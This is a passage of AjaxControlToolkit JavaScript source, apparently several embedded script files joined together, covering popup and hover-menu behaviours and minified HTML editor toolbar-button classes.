        /// Add an event handler for the shown event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        
        if (this._popupBehavior) {
            this._popupBehavior.add_shown(handler);
        }
    },
    remove_shown : function(handler) {
        /// <summary>
        /// Remove an event handler from the shown event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        
        if (this._popupBehavior) {
            this._popupBehavior.remove_shown(handler);
        }
    },
    raiseShown : function(eventArgs) {
        /// <summary>
        /// Raise the shown event
        /// </summary>
        /// <param name="eventArgs" type="Sys.EventArgs" mayBeNull="false">
        /// Event arguments for the shown event
        /// </param>
        /// <returns />
        
        if (this._popupBehavior) {
            this._popupBehavior.raiseShown(eventArgs);
        }
    },    
    
    add_hiding : function(handler) {
        /// <summary>
        /// Add an event handler for the hiding event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        
        if (this._popupBehavior) {
            this._popupBehavior.add_hiding(handler);
        }
    },
    remove_hiding : function(handler) {
        /// <summary>
        /// Remove an event handler from the hiding event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        
        if (this._popupBehavior) {
            this._popupBehavior.remove_hiding(handler);
        }
    },
    raiseHiding : function(eventArgs) {
        /// <summary>
        /// Raise the hiding event
        /// </summary>
        /// <param name="eventArgs" type="Sys.CancelEventArgs" mayBeNull="false">
        /// Event arguments for the hiding event
        /// </param>
        /// <returns />
        
        if (this._popupBehavior) {
            this._popupBehavior.raiseHiding(eventArgs);
        }
    },
    
    add_hidden : function(handler) {
        /// <summary>
        /// Add an event handler for the hidden event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        
        if (this._popupBehavior) {
            this._popupBehavior.add_hidden(handler);
        }
    },
    remove_hidden : function(handler) {
        /// <summary>
        /// Remove an event handler from the hidden event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        
        if (this._popupBehavior) {
            this._popupBehavior.remove_hidden(handler);
        }
    },
    raiseHidden : function(eventArgs) {
        /// <summary>
        /// Raise the hidden event
        /// </summary>
        /// <param name="eventArgs" type="Sys.EventArgs" mayBeNull="false">
        /// Event arguments for the hidden event
        /// </param>
        /// <returns />
        
        if (this._popupBehavior) {
            this._popupBehavior.raiseHidden(eventArgs);
        }
    }
}
AjaxControlToolkit.PopupControlBehavior.registerClass('AjaxControlToolkit.PopupControlBehavior', AjaxControlToolkit.DynamicPopulateBehaviorBase);

// This global variable tracks the currently visible popup.  Automatically
// hiding the popup when focus is lost does not work with our mechanism to
// hide the popup when something else is clicked... So we will instead go for
// the weaker strategy of letting at most one popup be visible at a time.
AjaxControlToolkit.PopupControlBehavior.__VisiblePopup = null;


AjaxControlToolkit.PopupControlPopupPosition = function() {
    /// <summary>
    /// Position of the popup relative to the target control
    /// </summary>
    /// <field name="Center" type="Number" integer="true" />
    /// <field name="Top" type="Number" integer="true" />
    /// <field name="Left" type="Number" integer="true" />
    /// <field name="Bottom" type="Number" integer="true" />
    /// <field name="Right" type="Number" integer="true" />
    throw Error.invalidOperation();
}
AjaxControlToolkit.PopupControlPopupPosition.prototype = {
    Center : 0,
    Top : 1,
    Left : 2,
    Bottom : 3,
    Right : 4
}
AjaxControlToolkit.PopupControlPopupPosition.registerEnum("AjaxControlToolkit.PopupControlPopupPosition", false);
�Q// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />
/// <reference path="../Common/Common.js" />
/// <reference path="../DynamicPopulate/DynamicPopulateBehavior.js" />
/// <reference path="../HoverExtender/HoverBehavior.js" />
/// <reference path="../Compat/Timer/Timer.js" />
/// <reference path="../Animation/Animations.js" />
/// <reference path="../Animation/AnimationBehavior.js" />
/// <reference path="../PopupExtender/PopupBehavior.js" />


Type.registerNamespace('AjaxControlToolkit');

AjaxControlToolkit.HoverMenuBehavior = function(element) {
    /// <summary>
    /// The HoverMenuBehavior is used to display a popup whenever the target is hovered over
    /// </summary>
    /// <param name="element" type="Sys.UI.DomElement" domElement="true">
    /// DOM element the behavior is associated with
    /// </param>
    AjaxControlToolkit.HoverMenuBehavior.initializeBase(this, [element]);

    // Encapsulated behaviors
    this._hoverBehavior = null;
    this._popupBehavior = null;
    
    // Handler delegates
    this._mouseEnterHandler = null;
    this._mouseLeaveHandler = null;
    this._unhoverHandler = null;
    this._hoverHandler = null;
    
    // State variables
    this._inHover = null;
    this._oldClass = null;
    this._popupElement = null;
    this._onShowJson = null;
    this._onHideJson = null;
    
    // Property values
    this._popupElement = null;
    this._hoverCssClass = null;
    this._offsetX = 0;
    this._offsetY = 0;
    this._popDelay = 100;
    this._hoverDelay = 0;
    this._popupPosition = null;
}
AjaxControlToolkit.HoverMenuBehavior.prototype = {
    initialize : function() {
        /// <summary>
        /// Initialize the behavior
        /// </summary>
        AjaxControlToolkit.HoverMenuBehavior.callBaseMethod(this, 'initialize');

        // set up our delegates and handlers
        this._hoverHandler = Function.createDelegate(this, this._onHover);
        this._unhoverHandler = Function.createDelegate(this, this._onUnhover);
        this._mouseEnterHandler = Function.createDelegate(this, this._onmouseover);
        this._mouseLeaveHandler = Function.createDelegate(this, this._onmouseout);
        
        var e = this.get_element();
        $addHandler(e, "mouseover", this._mouseEnterHandler);
        $addHandler(e, "mouseout", this._mouseLeaveHandler);
        
        if (this._popupElement) {
            // setup the popup behavior
            this._popupBehavior = $create(AjaxControlToolkit.PopupBehavior, { "id":this.get_id()+"_PopupBehavior" }, null, null, this._popupElement);
            if (this._popupPosition) {
                this._popupBehavior.set_positioningMode(AjaxControlToolkit.HoverMenuPopupPosition.Absolute);
            } else {
                this._popupBehavior.set_positioningMode(AjaxControlToolkit.HoverMenuPopupPosition.Center);
            }
            
            // Create the animations (if they were set before initialize was called)
            if (this._onShowJson) {
                this._popupBehavior.set_onShow(this._onShowJson);
            }
            if (this._onHideJson) {
                this._popupBehavior.set_onHide(this._onHideJson);
            }
            
            // set up the hover behavior
            this._hoverBehavior = $create(AjaxControlToolkit.HoverBehavior, { "id":this.get_id()+"_HoverBehavior", "hoverDelay":this._hoverDelay, "unhoverDelay":this._popDelay, "hoverElement":this._popupElement }, null, null, e);
            this._hoverBehavior.add_hover(this._hoverHandler);
            this._hoverBehavior.add_unhover(this._unhoverHandler);
        }
    },
    
    dispose : function() {
        /// <summary>
        /// Dispose the behavior
        /// </summary>

        // do cleanup
        this._onShowJson = null;
        this._onHideJson = null;
        if (this._popupBehavior) {
            this._popupBehavior.dispose();
            this._popupBehavior = null;
        }
        if (this._popupElement) {            
            this._popupElement = null;
        }
        if (this._mouseEnterHandler) {
            $removeHandler(this.get_element(), "mouseover", this._mouseEnterHandler);
        }
        if (this._mouseLeaveHandler) {            
            $removeHandler(this.get_element(), "mouseout", this._mouseLeaveHandler);
        }        
        if (this._hoverBehavior) {
            if (this._hoverHandler) {
                this._hoverBehavior.remove_hover(this._hoverHandler);
                this._hoverHandler = null;
            }
            if (this._unhoverHandler) {
                this._hoverBehavior.remove_hover(this._unhoverHandler);
                this._unhoverHandler = null;
            }
            this._hoverBehavior.dispose();
            this._hoverBehavior = null;
        }   
        AjaxControlToolkit.HoverMenuBehavior.callBaseMethod(this, 'dispose');       
    },
    
    _getLeftOffset : function() {
        /// <summary>
        /// Get the left offset of the popup
        /// </summary>
        /// <returns type="Number" integer="true">
        /// Left offset of the popup (in pixels)
        /// </returns>
 
        var defaultLeft = $common.getLocation(this.get_element()).x;
        var offsetLeft = $common.getLocation(this.get_popupElement().offsetParent).x;
        var delta = 0;
        
        // this offset is always relative to the left edge of the hover element.
        switch(this._popupPosition) {
            case AjaxControlToolkit.HoverMenuPopupPosition.Left:
                // if it's positioned left, it's the width of the popup plus the offset
                delta = (-1 * this._popupElement.offsetWidth);
                break;
            case AjaxControlToolkit.HoverMenuPopupPosition.Right:
                // if it's to the right, it's the width of the hover element plus the offset.
                delta = this.get_element().offsetWidth;
                break; 
        }
        return delta + defaultLeft - offsetLeft + this._offsetX;

    },
    
    _getTopOffset : function() {
        /// <summary>
        /// Get the top offset of the popup
        /// </summary>
        /// <returns type="Number" integer="true">
        /// Left offset of the popup (in pixels)
        /// </returns>

        var defaultTop = $common.getLocation(this.get_element()).y;
        var offsetTop = $common.getLocation(this.get_popupElement().offsetParent).y;
        var delta = 0;
    
        // this offset is always relative to the top edge of the hover element.
        switch(this._popupPosition) {
            case AjaxControlToolkit.HoverMenuPopupPosition.Top:
                // if it's Top positioned, it's the height of the popup plus the offset.
                delta = (-1 * this._popupElement.offsetHeight);
                break;
            case AjaxControlToolkit.HoverMenuPopupPosition.Bottom:
                // if it's bottom positioned it's the height of the hover element plus the offset
                delta = this.get_element().offsetHeight;
                break;
        }
        return defaultTop - offsetTop + delta + this._offsetY;       
    },
        
    _onHover : function() {
        /// <summary>
        /// Display the popup when the target is hovered over
        /// </summary>

        if (this._inHover) return;

        var eventArgs = new Sys.CancelEventArgs();
        this.raiseShowing(eventArgs);
        if (eventArgs.get_cancel()) {
            return;
        }
        
        this._inHover = true;
        this.populate();
        
        this._popupBehavior.show();
        if ($common.getCurrentStyle(this._popupElement, 'display') == 'none') {
            this._popupElement.style.display = 'block';
        }
        this._popupBehavior.set_x(this._getLeftOffset());
        this._popupBehavior.set_y(this._getTopOffset());
        
        this.raiseShown(Sys.EventArgs.Empty);
    },
    
    _onUnhover : function() {
        /// <summary>
        /// Hide the popup when the target is no longer hovered
        /// </summary>
        
        var eventArgs = new Sys.CancelEventArgs();
        this.raiseHiding(eventArgs);
        if (eventArgs.get_cancel()) {
            return;
        }
        
        this._inHover = false;
        this._resetCssClass(); 
        this._popupBehavior.hide();
        
        this.raiseHidden(Sys.EventArgs.Empty);
    },
    
    _onmouseover : function() {
        /// <summary>
        /// Handler to change the CSS class when hovered over
        /// </summary>

        // set up the CSS class
        var e = this.get_element();
        if (this._hoverCssClass && e.className != this._hoverCssClass) {
            this._oldClass = e.className;
            e.className = this._hoverCssClass;
        }    
    },
    
    _onmouseout : function() {
        /// <summary>
        /// Handler to reset the CSS class when no longer hovering
        /// </summary>
        this._resetCssClass(); 
    },
 
    _resetCssClass : function() {
        /// <summary>
        /// Reset the CSS class if we changed it while hovering
        /// </summary>

        // make sure we're not still in hover mode, and that the class is
        // currently the hover class.
        var e = this.get_element();
        if (!this._inHover && this._hoverCssClass && e.className == this._hoverCssClass) {
            e.className = this._oldClass;
        }
    },

    get_onShow : function() {
        /// <value type="String" mayBeNull="true">
        /// Generic OnShow Animation's JSON definition
        /// </value>
        return this._popupBehavior ? this._popupBehavior.get_onShow() : this._onShowJson;
    },
    set_onShow : function(value) {
        if (this._popupBehavior) {
            this._popupBehavior.set_onShow(value)
        } else {
            this._onShowJson = value;
        }
        this.raisePropertyChanged('onShow');
    },
    get_onShowBehavior : function() {
        /// <value type="AjaxControlToolkit.Animation.GenericAnimationBehavior">
        /// Generic OnShow Animation's behavior
        /// </value>
        return this._popupBehavior ? this._popupBehavior.get_onShowBehavior() : null;
    },
    onShow : function() {
        /// <summary>
        /// Play the OnShow animation
        /// </summary>
        /// <returns />
        if (this._popupBehavior) {
            this._popupBehavior.onShow();
        }
    },
        
    get_onHide : function() {
        /// <value type="String" mayBeNull="true">
        /// Generic OnHide Animation's JSON definition
        /// </value>
        return this._popupBehavior ? this._popupBehavior.get_onHide() : this._onHideJson;
    },
    set_onHide : function(value) {
        if (this._popupBehavior) {
            this._popupBehavior.set_onHide(value)
        } else {
            this._onHideJson = value;
        }
        this.raisePropertyChanged('onHide');
    },
    get_onHideBehavior : function() {
        /// <value type="AjaxControlToolkit.Animation.GenericAnimationBehavior">
        /// Generic OnHide Animation's behavior
        /// </value>
        return this._popupBehavior ? this._popupBehavior.get_onHideBehavior() : null;
    },
    onHide : function() {
        /// <summary>
        /// Play the OnHide animation
        /// </summary>
        /// <returns />
        if (this._popupBehavior) {
            this._popupBehavior.onHide();
        }
    },
    
    get_popupElement : function() {
        /// <value type="Sys.UI.DomElement" domElement="true">
        /// Popup that is displayed when hovering
        /// </value>
        return this._popupElement;
    },
    set_popupElement : function(value) {
        if (this._popupElement != value) {
            this._popupElement = value;
            if (this.get_isInitialized() && this._hoverBehavior) {
                this._hoverBehavior.set_hoverElement(this._popupElement);
            }
            this.raisePropertyChanged('popupElement');
        }
    },
    
    get_HoverCssClass : function() {
        /// <value type="String">
        /// CSS class used when hovering
        /// </value>
        return this._hoverCssClass;
    },
    set_HoverCssClass : function(value) {
        if (this._hoverCssClass != value) {
            this._hoverCssClass = value;
            this.raisePropertyChanged('HoverCssClass');
        }
    },
    
    get_OffsetX : function() {
        /// <value type="Number" integer="true">
        /// The number of pixels to offset the popup from it's default position horizontally
        /// </value>
        return this._offsetX;
    },
    set_OffsetX : function(value) {
        if (this._offsetX != value) {
            this._offsetX = value;
            this.raisePropertyChanged('OffsetX');
        }
    },
    
    get_OffsetY : function() {
        /// <value type="Number" integer="true">
        /// The number of pixels to offset the popup from it's default position vertically
        /// </value>
        return this._offsetY;
    },
    set_OffsetY : function(value) {
        if (this._offsetY != value) {
            this._offsetY = value;
            this.raisePropertyChanged('OffsetY');
        }
    },
    
    get_PopupPosition : function() {
        /// <value type="AjaxControlToolkit.HoverMenuPopupPosition">
        /// Where the popup should be positioned relative to the target control.
        /// Can be Left (Default), Right, Top, Bottom, Center.
        /// </value>
        return this._popupPosition;
    },
    set_PopupPosition : function(value) {
        if (this._popupPosition != value) {
            this._popupPosition = value;
            this.raisePropertyChanged('PopupPosition');
        }
    },
    
    get_PopDelay : function() {
        /// <value type="Number">
        /// The time delay from when the mouse enters the target to when the popup is shown, in milliseconds. Default is 100.
        /// </value>
        return this._popDelay;
    },
    set_PopDelay : function(value) {
        if (this._popDelay != value) {
            this._popDelay = value;
            this.raisePropertyChanged('PopDelay');
        }
    },

    get_HoverDelay: function() {
        /// <value type="Number">
        /// The time delay after the mouse enters the target and before the popup is shown, in milliseconds. Default is 0.
        /// </value>
        return this._hoverDelay;
    },
    set_HoverDelay: function(value) {
        if (this._hoverDelay != value) {
            this._hoverDelay = value;
            this.raisePropertyChanged('HoverDelay');
        }
    },
    
    add_showing : function(handler) {
        /// <summary>
        /// Add an event handler for the showing event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('showing', handler);
    },
    remove_showing : function(handler) {
        /// <summary>
        /// Remove an event handler from the showing event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('showing', handler);
    },
    raiseShowing : function(eventArgs) {
        /// <summary>
        /// Raise the showing event
        /// </summary>
        /// <param name="eventArgs" type="Sys.CancelEventArgs" mayBeNull="false">
        /// Event arguments for the showing event
        /// </param>
        /// <returns />
        
        var handler = this.get_events().getHandler('showing');
        if (handler) {
            handler(this, eventArgs);
        }
    },
    
    add_shown : function(handler) {
        /// <summary>
        /// Add an event handler for the shown event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('shown', handler);
    },
    remove_shown : function(handler) {
        /// <summary>
        /// Remove an event handler from the shown event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('shown', handler);
    },
    raiseShown : function(eventArgs) {
        /// <summary>
        /// Raise the shown event
        /// </summary>
        /// <param name="eventArgs" type="Sys.EventArgs" mayBeNull="false">
        /// Event arguments for the shown event
        /// </param>
        /// <returns />
        
        var handler = this.get_events().getHandler('shown');
        if (handler) {
            handler(this, eventArgs);
        }
    },
    
    add_hiding : function(handler) {
        /// <summary>
        /// Add an event handler for the hiding event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('hiding', handler);
    },
    remove_hiding : function(handler) {
        /// <summary>
        /// Remove an event handler from the hiding event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('hiding', handler);
    },
    raiseHiding : function(eventArgs) {
        /// <summary>
        /// Raise the hiding event
        /// </summary>
        /// <param name="eventArgs" type="Sys.CancelEventArgs" mayBeNull="false">
        /// Event arguments for the hiding event
        /// </param>
        /// <returns />
        
        var handler = this.get_events().getHandler('hiding');
        if (handler) {
            handler(this, eventArgs);
        }
    },
    
    add_hidden : function(handler) {
        /// <summary>
        /// Add an event handler for the hidden event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('hidden', handler);
    },
    remove_hidden : function(handler) {
        /// <summary>
        /// Remove an event handler from the hidden event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('hidden', handler);
    },
    raiseHidden : function(eventArgs) {
        /// <summary>
        /// Raise the hidden event
        /// </summary>
        /// <param name="eventArgs" type="Sys.EventArgs" mayBeNull="false">
        /// Event arguments for the hidden event
        /// </param>
        /// <returns />
        
        var handler = this.get_events().getHandler('hidden');
        if (handler) {
            handler(this, eventArgs);
        }
    }
}
AjaxControlToolkit.HoverMenuBehavior.registerClass('AjaxControlToolkit.HoverMenuBehavior', AjaxControlToolkit.DynamicPopulateBehaviorBase);


AjaxControlToolkit.HoverMenuPopupPosition = function() {
    /// <summary>
    /// Where the popup should be positioned relative to the target control
    /// </summary>
    /// <field name="Center" type="Number" integer="true" />
    /// <field name="Top" type="Number" integer="true" />
    /// <field name="Left" type="Number" integer="true" />
    /// <field name="Bottom" type="Number" integer="true" />
    /// <field name="Right" type="Number" integer="true" />
    throw Error.invalidOperation();
}
AjaxControlToolkit.HoverMenuPopupPosition.prototype = {
    Center: 0,
    Top: 1,
    Left: 2,
    Bottom: 3,
    Right: 4
}
AjaxControlToolkit.HoverMenuPopupPosition.registerEnum('AjaxControlToolkit.HoverMenuPopupPosition');
�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.SelectButton=function(b){var a=this;AjaxControlToolkit.HTMLEditor.ToolbarButton.SelectButton.initializeBase(a,[b]);a._onclick_option$delegate=Function.createDelegate(a,a._onclick_option);a._onchange$delegate=Function.createDelegate(a,a._onchange)};AjaxControlToolkit.HTMLEditor.ToolbarButton.SelectButton.prototype={initialize:function(){var a=this,c=a.get_element().id;AjaxControlToolkit.HTMLEditor.ToolbarButton.SelectButton.callBaseMethod(a,"initialize");a._select=$get(c+"_select");$addHandler(a._select,"change",a._onchange$delegate);for(var b=0;b<a._select.options.length;b++){var d=a._select.options[b];$addHandler(d,"click",a._onclick_option$delegate)}},dispose:function(){var a=this;for(var b=0;b<a._select.options.length;b++){var c=a._select.options[b];$removeHandler(c,"click",a._onclick_option$delegate)}$removeHandler(a._select,"change",a._onchange$delegate);AjaxControlToolkit.HTMLEditor.ToolbarButton.SelectButton.callBaseMethod(a,"dispose")},isImage:function(){return false},callMethod:function(){return true},_onclick_option:function(b){if(!this.isEnable())return false;var a=b.target;a.parentNode.value=a.value;AjaxControlToolkit.HTMLEditor._stopEvent(b);if(!AjaxControlToolkit.HTMLEditor.isSafari)return false;this.callMethod(a.parentNode,b);return true},_onchange:function(a){if(!this.isEnable())return false;var b=a.target;AjaxControlToolkit.HTMLEditor._stopEvent(a);this.callMethod(b,a);return true}};AjaxControlToolkit.HTMLEditor.ToolbarButton.SelectButton.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.SelectButton",AjaxControlToolkit.HTMLEditor.ToolbarButton.CommonButton);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor");Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.ModeButton=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.ModeButton.initializeBase(this,[a]);this._activeMode=AjaxControlToolkit.HTMLEditor.ActiveModeType.Design};AjaxControlToolkit.HTMLEditor.ToolbarButton.ModeButton.prototype={get_activeMode:function(){return this._activeMode},set_activeMode:function(a){this._activeMode=a},_onclick:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.ModeButton.callBaseMethod(this,"_onclick"))return false;var a=this;setTimeout(function(){a._editPanel.set_activeMode(a._activeMode)},0);return true},onEditPanelActivity:function(){this.setActivity(this._editPanel.get_activeMode()==this._activeMode)}};AjaxControlToolkit.HTMLEditor.ToolbarButton.ModeButton.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.ModeButton",AjaxControlToolkit.HTMLEditor.ToolbarButton.ImageButton);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton.prototype={};AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton",AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeImageButton);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.FontSize=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.FontSize.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.FontSize.prototype={initialize:function(){AjaxControlToolkit.HTMLEditor.ToolbarButton.FontSize.callBaseMethod(this,"initialize")},callMethod:function(a){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.FontSize.callBaseMethod(this,"callMethod"))return false;try{var b=this._designPanel;b._execCommand("FontSize",false,AjaxControlToolkit.HTMLEditor.fontSizeSeek(a.options.item(a.selectedIndex).value))}catch(d){}},checkState:function(){var c=this;if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.FontSize.callBaseMethod(c,"checkState"))return false;var f=c._designPanel,a=null,g=c._select.id;try{a=Function.createDelegate(f,AjaxControlToolkit.HTMLEditor._queryCommandValue)("fontsize",g)}catch(j){}if(a)a=a.toString();if(!f._FontNotSet)if(!a||a.length==0){a=AjaxControlToolkit.HTMLEditor.getStyle(f._doc.body,"font-size");a=AjaxControlToolkit.HTMLEditor._TryTransformFromPxToPt(a,c,g)}try{var d=c._select,b=0;if(a&&a.length>0){var h=a.toLowerCase().split(",")[0];for(b=0;b<d.options.length;b++){var i=AjaxControlToolkit.HTMLEditor.fontSizeSeek(d.options.item(b).value.toLowerCase().split(",")[0]);if(i==h)break}if(b==d.options.length)try{var e=document.createElement("OPTION");e.value=a;e.text=a;d.add(e,AjaxControlToolkit.HTMLEditor.isIE?b:null);$addHandler(e,"click",c._onclick_option$delegate)}catch(j){b=0}}d.selectedIndex=b}catch(j){}}};AjaxControlToolkit.HTMLEditor.ToolbarButton.FontSize.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.FontSize",AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeSelectButton);7Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedForeColor=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedForeColor.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedForeColor.prototype={setColor:function(a){this._designPanel._execCommand("forecolor",false,a)}};AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedForeColor.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedForeColor",AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedColorButton);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeSelectButton=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeSelectButton.initializeBase(this,[a]);this._designPanel=null};AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeSelectButton.prototype={onEditPanelActivity:function(){this._designPanel=this._editPanel.get_activePanel();this.checkState()},checkState:function(){if(!this.checkRangeInDesign())return false;return true},callMethod:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeSelectButton.callBaseMethod(this,"callMethod"))return false;if(this._designPanel==null)return false;if(this._designPanel.isPopup())return false;return true}};AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeSelectButton.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeSelectButton",AjaxControlToolkit.HTMLEditor.ToolbarButton.SelectButton);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModePopupImageButton=function(b){var a=this;AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModePopupImageButton.initializeBase(a,[b]);a._relatedPopup=null;a._autoClose=true;a._forclose_onmousedown$delegate=null};AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModePopupImageButton.prototype={set_activeEditPanel:function(b){var a=this;a._editPanel!=b&&a._editPanel!=null&&a.closePopup();AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModePopupImageButton.callBaseMethod(a,"set_activeEditPanel",[b])},get_autoClose:function(){return this._autoClose},set_autoClose:function(a){this._autoClose=a},get_relatedPopup:function(){return this._relatedPopup},set_relatedPopup:function(a){this._relatedPopup=a},openPopup:function(h,j,i){var c=null,a=this;if(a._autoClose&&a._forclose_onmousedown$delegate!=c)return;if(a._relatedPopup!=c){a._bookmark=c;if(AjaxControlToolkit.HTMLEditor.isIE){var e=a._designPanel._getSelection();a._selType=e.type.toLowerCase();var d=a._designPanel._createRange(e);if(a._selType=="text"||a._selType=="none")try{a._bookmark=d.duplicate()}catch(k){}else if(a._selType=="control"){a._bookmark=d.item(0);d.remove(0);e.empty()}}if(typeof a._relatedPopup.set_relatedElement=="function"){a._relatedPopup.set_relatedElement(a.get_element());a._forclose_onmousedown$delegate=Function.createDelegate(a,a._forclose_onmousedown);if(a._autoClose){var f=a._designPanel.get_element().contentWindow,g=f.document.body,b=a;setTimeout(function(){var d="keydown",a="mousedown";if(b._forclose_onmousedown$delegate!=c){AjaxControlToolkit.HTMLEditor._addEvent(g,a,b._forclose_onmousedown$delegate);AjaxControlToolkit.HTMLEditor._addEvent(g,d,b._forclose_onmousedown$delegate);AjaxControlToolkit.HTMLEditor._addEvent(document.body,d,b._forclose_onmousedown$delegate);AjaxControlToolkit.HTMLEditor._addEvent(window,d,b._forclose_onmousedown$delegate);AjaxControlToolkit.HTMLEditor._addEvent(f,a,b._forclose_onmousedown$delegate);AjaxControlToolkit.HTMLEditor._addEvent(document.body,a,b._forclose_onmousedown$delegate);document.documentElement&&AjaxControlToolkit.HTMLEditor._addEvent(document.documentElement,a,b._forclose_onmousedown$delegate)}},0)}a._relatedPopup.open(h)}else a._relatedPopup.open(h,j,i)}},_forclose_onmousedown:function(e){var d="keydown",c="mousedown",a=this;if(a._forclose_onmousedown$delegate==null)return true;if(a._relatedPopup.isOpened)a._relatedPopup.close();else return true;if(a._editPanel==AjaxControlToolkit.HTMLEditor.LastFocusedEditPanel)try{if(a._bookmark){if(AjaxControlToolkit.HTMLEditor.isIE){var b;if(a._selType=="control"){b=a._designPanel._doc.body.createControlRange();b.add(a._bookmark)}else b=a._bookmark;b.select()}a._bookmark=null}if(!AjaxControlToolkit.HTMLEditor.isIE){var f=a._designPanel._getSelection(),b=a._designPanel._createRange(f);a._designPanel._removeAllRanges(f);a._designPanel._selectRange(f,b);a._designPanel.focusEditor()}}catch(j){}var i=a;setTimeout(function(){if(i._editPanel==AjaxControlToolkit.HTMLEditor.LastFocusedEditPanel)try{i._editPanel.updateToolbar()}catch(a){}},0);if(a._autoClose)try{var g=a._designPanel.get_element().contentWindow,h=g.document.body;document.documentElement&&AjaxControlToolkit.HTMLEditor._removeEvent(document.documentElement,c,a._forclose_onmousedown$delegate);AjaxControlToolkit.HTMLEditor._removeEvent(h,d,a._forclose_onmousedown$delegate);AjaxControlToolkit.HTMLEditor._removeEvent(document.body,d,a._forclose_onmousedown$delegate);AjaxControlToolkit.HTMLEditor._removeEvent(window,d,a._forclose_onmousedown$delegate);AjaxControlToolkit.HTMLEditor._removeEvent(h,c,a._forclose_onmousedown$delegate);AjaxControlToolkit.HTMLEditor._removeEvent(g,c,a._forclose_onmousedown$delegate);AjaxControlToolkit.HTMLEditor._removeEvent(document.body,c,a._forclose_onmousedown$delegate)}catch(j){}a._forclose_onmousedown$delegate=null;if(e&&e.type)if(e.type==d){AjaxControlToolkit.HTMLEditor._stopEvent(e);return false}return 